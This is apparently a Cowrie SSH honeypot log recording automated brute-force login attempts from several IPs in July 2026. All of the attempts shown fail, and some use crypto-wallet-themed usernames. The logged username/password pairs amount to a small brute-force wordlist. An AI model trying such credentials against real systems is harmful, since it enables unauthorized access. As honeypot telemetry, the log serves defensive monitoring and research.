{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":47596,"dst_ip":"159.203.135.109","dst_port":22,"session":"276b2d382db3","protocol":"ssh","message":"New connection: 109.237.96.109:47596 (159.203.135.109:22) [session: 276b2d382db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:24.479116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:24.482459Z","src_ip":"109.237.96.109","session":"276b2d382db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:24.578014Z","src_ip":"109.237.96.109","session":"276b2d382db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12071994","message":"login attempt [root/12071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:24.859529Z","src_ip":"109.237.96.109","session":"276b2d382db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:25.955373Z","src_ip":"109.237.96.109","session":"276b2d382db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":60202,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d257f89b6c","protocol":"ssh","message":"New connection: 166.62.35.226:60202 (10.17.0.5:22) [session: a4d257f89b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:30.176616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:30.181086Z","src_ip":"166.62.35.226","session":"a4d257f89b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:30.246820Z","src_ip":"166.62.35.226","session":"a4d257f89b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghana","password":"Accra#Bitc0!n$M@st3r99","message":"login attempt [ghana/Accra#Bitc0!n$M@st3r99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:30.447266Z","src_ip":"166.62.35.226","session":"a4d257f89b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00357794761658,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:30.797028Z","src_ip":"143.198.154.150","session":"26f2e597db64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:31.519584Z","src_ip":"166.62.35.226","session":"a4d257f89b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":60500,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba7ab9e0c2c2","protocol":"ssh","message":"New connection: 198.1.75.59:60500 (10.17.0.5:22) [session: ba7ab9e0c2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:43.913791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:43.917552Z","src_ip":"198.1.75.59","session":"ba7ab9e0c2c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:44.006064Z","src_ip":"198.1.75.59","session":"ba7ab9e0c2c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Strk#Tr0ng!P@ss","message":"login attempt [root/Strk#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:44.273018Z","src_ip":"198.1.75.59","session":"ba7ab9e0c2c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:45.364033Z","src_ip":"198.1.75.59","session":"ba7ab9e0c2c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":37402,"dst_ip":"159.203.135.109","dst_port":22,"session":"3330f4ad6e9b","protocol":"ssh","message":"New connection: 143.20.185.207:37402 (159.203.135.109:22) [session: 3330f4ad6e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:50.037983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:50.041797Z","src_ip":"143.20.185.207","session":"3330f4ad6e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:50.155073Z","src_ip":"143.20.185.207","session":"3330f4ad6e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS8VCPU16GBAMD","message":"login attempt [root/undefinedVPS8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:50.509627Z","src_ip":"143.20.185.207","session":"3330f4ad6e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:42:51.631460Z","src_ip":"143.20.185.207","session":"3330f4ad6e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":38922,"dst_ip":"159.203.135.109","dst_port":22,"session":"270801239136","protocol":"ssh","message":"New connection: 162.241.132.183:38922 (159.203.135.109:22) [session: 270801239136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:08.666647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:08.670964Z","src_ip":"162.241.132.183","session":"270801239136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:08.696345Z","src_ip":"162.241.132.183","session":"270801239136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maticwallet","password":"polygon123","message":"login attempt [maticwallet/polygon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:08.774525Z","src_ip":"162.241.132.183","session":"270801239136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:09.802945Z","src_ip":"162.241.132.183","session":"270801239136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":52856,"dst_ip":"10.17.0.5","dst_port":22,"session":"813d4cb21007","protocol":"ssh","message":"New connection: 51.250.105.222:52856 (10.17.0.5:22) [session: 813d4cb21007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:15.161491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:15.165215Z","src_ip":"51.250.105.222","session":"813d4cb21007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:15.292592Z","src_ip":"51.250.105.222","session":"813d4cb21007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:15.673287Z","src_ip":"51.250.105.222","session":"813d4cb21007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:16.805405Z","src_ip":"51.250.105.222","session":"813d4cb21007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":38058,"dst_ip":"159.203.135.109","dst_port":22,"session":"a10ad9118941","protocol":"ssh","message":"New connection: 162.214.5.224:38058 (159.203.135.109:22) [session: a10ad9118941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:27.752238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:27.755682Z","src_ip":"162.214.5.224","session":"a10ad9118941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:27.837616Z","src_ip":"162.214.5.224","session":"a10ad9118941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"binancesmartchain","password":"binance123","message":"login attempt [binancesmartchain/binance123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:28.094323Z","src_ip":"162.214.5.224","session":"a10ad9118941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:29.466456Z","src_ip":"162.214.5.224","session":"a10ad9118941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":34194,"dst_ip":"159.203.135.109","dst_port":22,"session":"988349406ba5","protocol":"ssh","message":"New connection: 198.12.251.137:34194 (159.203.135.109:22) [session: 988349406ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:42.314402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:42.318530Z","src_ip":"198.12.251.137","session":"988349406ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:42.383285Z","src_ip":"198.12.251.137","session":"988349406ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vechain","password":"vechain456","message":"login attempt [vechain/vechain456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:42.584999Z","src_ip":"198.12.251.137","session":"988349406ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:43.655721Z","src_ip":"198.12.251.137","session":"988349406ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":51838,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a5d9785e2df","protocol":"ssh","message":"New connection: 162.240.218.183:51838 (159.203.135.109:22) [session: 1a5d9785e2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:47.263938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:47.267709Z","src_ip":"162.240.218.183","session":"1a5d9785e2df","protocol":"ssh"}
